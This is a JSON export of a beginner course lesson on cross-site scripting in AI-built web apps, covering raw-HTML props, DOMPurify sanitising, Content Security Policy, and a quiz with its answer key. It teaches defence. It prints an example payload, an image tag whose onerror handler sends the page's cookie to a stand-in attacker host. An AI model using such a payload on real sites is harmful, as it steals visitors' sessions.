{"course":{"slug":"building-apps-with-ai","title":"Building Apps with AI","url":"https://addaly.com/learn/building-apps-with-ai","level":"beginner","track":"build"},"lesson":{"slug":"xss-and-the-dangerously-named-prop","title":"Cross-site scripting, and the prop with the honest name","url":"https://addaly.com/learn/building-apps-with-ai/xss-and-the-dangerously-named-prop","position":73,"of":87,"minutes":8,"answer":"Frameworks escape text by default, so XSS in a generated app arrives through the one prop that turns it off (usually to render markdown or a model's output) and the fix is to sanitise at.","keyIdea":"Frameworks escape text by default, so XSS in a generated app arrives through the one prop that turns it off (usually to render markdown or a model's output) and the fix is to sanitise at that exact point."},"body":{"format":"markdown","text":"## What the browser will do for a string\n\nA browser given `<img src=x onerror=\"fetch('https://evil.example/?c='+document.cookie)\">` as part of a page will try to load the image, fail, and run the script. If that string came from another user (a comment, a profile name, a note) the script runs in your visitor's browser, on your domain, with whatever your visitor can do. That is cross-site scripting, and the first line of defence against it is one you already have.\n\n## Escaping is the default\n\nReact, Vue, Svelte and every modern templating system escape text by default. `<p>{note.body}</p>` renders the tag characters as literal text, not markup; the script never becomes script. This is why XSS has become rare in ordinary generated code, and why the cases that remain arrive through one door.\n\n## The door\n\n```tsx\n<div dangerouslySetInnerHTML={{ __html: summary }} />\n```\n\nThe name is a warning, and the situations that produce it are reasonable ones. A model returns markdown; the page wants it formatted; the agent converts it to HTML and injects it. A rich-text editor stores HTML; the page shows it. A CMS or a third-party service sends HTML. In each case the content is text somebody else wrote, and the prop hands it to the browser as markup.\n\nVue's `v-html`, Svelte's `{@html}`, Angular's `[innerHTML]`, and any template that concatenates strings into a page have the same door under a different name.\n\n## The model's output is user content\n\nThis is the case that catches AI-built apps specifically. A summary of a note is written by a model, from a note, and the note was written by a user. The injection lesson in the previous block said user text inside a prompt is untrusted; it follows that model output built from it is untrusted too. A note containing an image tag with an `onerror` attribute may be echoed into the summary verbatim, and rendered as HTML, it runs.\n\nTreat every string that reaches the injecting prop as hostile, whoever produced it.\n\n## Sanitise at the door\n\nConvert markdown to HTML, then pass the HTML through a sanitiser before rendering:\n\n```typescript\nimport DOMPurify from \"isomorphic-dompurify\";\nconst safeHtml = DOMPurify.sanitize(marked.parse(summary), {\n  ALLOWED_TAGS: [\"p\", \"strong\", \"em\", \"ul\", \"ol\", \"li\", \"a\", \"code\", \"pre\", \"h2\", \"h3\"],\n  ALLOWED_ATTR: [\"href\"],\n});\n```\n\nAn allowlist of tags, an allowlist of attributes, and everything else stripped. `DOMPurify` is free, maintained, and the standard answer; do it on the server so the browser only ever receives clean markup. Links need one more rule: `href` values beginning with `javascript:` are script, and a sanitiser configured for links must reject them, which DOMPurify does by default.\n\nBetter than sanitising HTML is not producing it. Many markdown renderers can output React elements directly (`react-markdown` does) so the text is never HTML at all, and the escaping default is never turned off.\n\n## What a successful XSS does\n\nWith the session cookie marked `HttpOnly` as in the data block, the script cannot read the cookie. It can still do everything the user can: make requests to your routes with the user's session attached, read what those routes return, change their email, post as them. `HttpOnly` limits the theft; it does not limit the actions. That is why the sanitiser matters even when the cookie is protected.\n\n## The backstop\n\nA Content Security Policy is a response header that tells the browser which sources of script are allowed:\n\n```text\nContent-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'\n```\n\nWith that, an injected inline script does not run even when the sanitiser missed it, because inline script is not on the list. Setting a strict policy on a framework app takes some care (some frameworks need a per-request nonce for their own inline scripts, and the framework's documentation shows how) and it is worth the hour. It is the layer that holds when the first layer has a bug.\n\n## Finding the doors\n\nSearch the codebase for `dangerouslySetInnerHTML`, `v-html`, `@html`, `innerHTML`, and `document.write`. Each hit is a door. For each, trace the string backwards: where did it come from, and was it sanitised on the way? A hit with no sanitiser between it and any user or model is the finding. The count should be small (one or two, for the markdown) and every one should have a `sanitize` call within a few lines of it."},"check":{"question":"An AI summary is rendered with the raw-HTML prop so that its markdown formatting shows. A user pastes a note containing an image tag with an onerror attribute. What happens when another user with access views the summary?","options":[{"text":"Nothing, because React escapes all content by default before it reaches the page, including content passed through that prop.","correct":false,"tempting":"React escapes children and ordinary props; the prop in question exists precisely to bypass that escaping, which is why it carries the word dangerous."},{"text":"The image fails to load and the page shows a broken image icon.","correct":false,"tempting":"The load failure is the trigger, not the outcome; the attribute runs script the moment it fails."},{"text":"The onerror script runs in the viewer's browser, as them, and can do anything their session can.","correct":true},{"text":"The browser blocks it because the content came from a different user.","correct":false,"tempting":"Browsers have no notion of which user authored content; the script comes from your origin and runs with your origin's privileges."}]},"prev":{"slug":"validate-at-the-edge-and-mass-assignment","title":"Validate at the edge, and the field nobody meant to accept","url":"https://addaly.com/learn/building-apps-with-ai/validate-at-the-edge-and-mass-assignment"},"next":{"slug":"rate-limits-and-the-sign-up-flood","title":"Rate limits, and the sign-up flood","url":"https://addaly.com/learn/building-apps-with-ai/rate-limits-and-the-sign-up-flood"},"authorship":"Founder and series editor: Dr Mustafa Mun. Written by AI models to a written standard. Exam keys checked blind by a second model: 3,665 of 3,666 agreed. Academic review invited.","review":{"status":"Draft, open for academic review"},"cite":"Addaly (2026) 'Cross-site scripting, and the prop with the honest name', in Building Apps with AI. Edited by M. Mun. Addaly. Available at: https://addaly.com/learn/building-apps-with-ai/xss-and-the-dangerously-named-prop (Accessed: 13 October 2026).","licence":{"name":"CC BY-NC-SA 4.0","url":"https://creativecommons.org/licenses/by-nc-sa/4.0/"},"reader":{"schema":1,"title":"Cross-site scripting, and the prop with the honest name","courseTitle":"Building Apps with AI","module":{"index":8,"slug":"the-holes-ai-code-has-by-default","title":"The security holes AI code has by default"},"answer":null,"keyIdea":"Frameworks escape text by default, so XSS in a generated app arrives through the one prop that turns it off (usually to render markdown or a model’s output) and the fix is to sanitise at that exact point.","hero":{"kind":"plate","image":null,"alt":null,"caption":null},"blocks":[{"t":"h2","id":"what-the-browser-will-do-for-a-string","runs":[{"text":"What the browser will do for a string"}]},{"t":"p","runs":[{"text":"A browser given "},{"text":"<img src=x onerror=\"fetch('https://evil.example/?c='+document.cookie)\">","code":true},{"text":" as part of a page will try to load the image, fail, and run the script. If that string came from another user (a comment, a profile name, a note) the script runs in your visitor’s browser, on your domain, with whatever your visitor can do. That is cross-site scripting, and the first line of defence against it is one you already have."}]},{"t":"h2","id":"escaping-is-the-default","runs":[{"text":"Escaping is the default"}]},{"t":"p","runs":[{"text":"React, Vue, Svelte and every modern templating system escape text by default. "},{"text":"<p>{note.body}</p>","code":true},{"text":" renders the tag characters as literal text, not markup; the script never becomes script. This is why XSS has become rare in ordinary generated code, and why the cases that remain arrive through one door."}]},{"t":"h2","id":"the-door","runs":[{"text":"The door"}]},{"t":"code","lang":"tsx","label":"TSX","text":"<div dangerouslySetInnerHTML={{ __html: summary }} />"},{"t":"p","runs":[{"text":"The name is a warning, and the situations that produce it are reasonable ones. A model returns markdown; the page wants it formatted; the agent converts it to HTML and injects it. A rich-text editor stores HTML; the page shows it. A CMS or a third-party service sends HTML. In each case the content is text somebody else wrote, and the prop hands it to the browser as markup."}]},{"t":"p","runs":[{"text":"Vue’s "},{"text":"v-html","code":true},{"text":", Svelte’s "},{"text":"{@html}","code":true},{"text":", Angular’s "},{"text":"[innerHTML]","code":true},{"text":", and any template that concatenates strings into a page have the same door under a different name."}]},{"t":"h2","id":"the-model-s-output-is-user-content","runs":[{"text":"The model’s output is user content"}]},{"t":"p","runs":[{"text":"This is the case that catches AI-built apps specifically. A summary of a note is written by a model, from a note, and the note was written by a user. The injection lesson in the previous block said user text inside a prompt is untrusted; it follows that model output built from it is untrusted too. A note containing an image tag with an "},{"text":"onerror","code":true},{"text":" attribute may be echoed into the summary verbatim, and rendered as HTML, it runs."}]},{"t":"p","runs":[{"text":"Treat every string that reaches the injecting prop as hostile, whoever produced it."}]},{"t":"h2","id":"sanitise-at-the-door","runs":[{"text":"Sanitise at the door"}]},{"t":"p","runs":[{"text":"Convert markdown to HTML, then pass the HTML through a sanitiser before rendering:"}]},{"t":"code","lang":"typescript","label":"TypeScript","text":"import DOMPurify from \"isomorphic-dompurify\";\nconst safeHtml = DOMPurify.sanitize(marked.parse(summary), {\n  ALLOWED_TAGS: [\"p\", \"strong\", \"em\", \"ul\", \"ol\", \"li\", \"a\", \"code\", \"pre\", \"h2\", \"h3\"],\n  ALLOWED_ATTR: [\"href\"],\n});"},{"t":"p","runs":[{"text":"An allowlist of tags, an allowlist of attributes, and everything else stripped. "},{"text":"DOMPurify","code":true},{"text":" is free, maintained, and the standard answer; do it on the server so the browser only ever receives clean markup. Links need one more rule: "},{"text":"href","code":true},{"text":" values beginning with "},{"text":"javascript:","code":true},{"text":" are script, and a sanitiser configured for links must reject them, which DOMPurify does by default."}]},{"t":"p","runs":[{"text":"Better than sanitising HTML is not producing it. Many markdown renderers can output React elements directly ("},{"text":"react-markdown","code":true},{"text":" does) so the text is never HTML at all, and the escaping default is never turned off."}]},{"t":"h2","id":"what-a-successful-xss-does","runs":[{"text":"What a successful XSS does"}]},{"t":"p","runs":[{"text":"With the session cookie marked "},{"text":"HttpOnly","code":true},{"text":" as in the data block, the script cannot read the cookie. It can still do everything the user can: make requests to your routes with the user’s session attached, read what those routes return, change their email, post as them. "},{"text":"HttpOnly","code":true},{"text":" limits the theft; it does not limit the actions. That is why the sanitiser matters even when the cookie is protected."}]},{"t":"h2","id":"the-backstop","runs":[{"text":"The backstop"}]},{"t":"p","runs":[{"text":"A Content Security Policy is a response header that tells the browser which sources of script are allowed:"}]},{"t":"code","lang":"text","label":"Text","text":"Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"},{"t":"p","runs":[{"text":"With that, an injected inline script does not run even when the sanitiser missed it, because inline script is not on the list. Setting a strict policy on a framework app takes some care (some frameworks need a per-request nonce for their own inline scripts, and the framework’s documentation shows how) and it is worth the hour. It is the layer that holds when the first layer has a bug."}]},{"t":"h2","id":"finding-the-doors","runs":[{"text":"Finding the doors"}]},{"t":"p","runs":[{"text":"Search the codebase for "},{"text":"dangerouslySetInnerHTML","code":true},{"text":", "},{"text":"v-html","code":true},{"text":", "},{"text":"@html","code":true},{"text":", "},{"text":"innerHTML","code":true},{"text":", and "},{"text":"document.write","code":true},{"text":". Each hit is a door. For each, trace the string backwards: where did it come from, and was it sanitised on the way? A hit with no sanitiser between it and any user or model is the finding. The count should be small (one or two, for the markdown) and every one should have a "},{"text":"sanitize","code":true},{"text":" call within a few lines of it."}]}],"check":{"question":[{"text":"An AI summary is rendered with the raw-HTML prop so that its markdown formatting shows. A user pastes a note containing an image tag with an onerror attribute. What happens when another user with access views the summary?"}],"options":[{"text":[{"text":"Nothing, because React escapes all content by default before it reaches the page, including content passed through that prop."}],"correct":false,"tempting":[{"text":"React escapes children and ordinary props; the prop in question exists precisely to bypass that escaping, which is why it carries the word dangerous."}]},{"text":[{"text":"The image fails to load and the page shows a broken image icon."}],"correct":false,"tempting":[{"text":"The load failure is the trigger, not the outcome; the attribute runs script the moment it fails."}]},{"text":[{"text":"The onerror script runs in the viewer’s browser, as them, and can do anything their session can."}],"correct":true,"tempting":null},{"text":[{"text":"The browser blocks it because the content came from a different user."}],"correct":false,"tempting":[{"text":"Browsers have no notion of which user authored content; the script comes from your origin and runs with your origin’s privileges."}]}],"order":[3,1,0,2],"why":null},"prev":{"slug":"validate-at-the-edge-and-mass-assignment","title":"Validate at the edge, and the field nobody meant to accept","minutes":8},"next":{"slug":"rate-limits-and-the-sign-up-flood","title":"Rate limits, and the sign-up flood","minutes":8}}}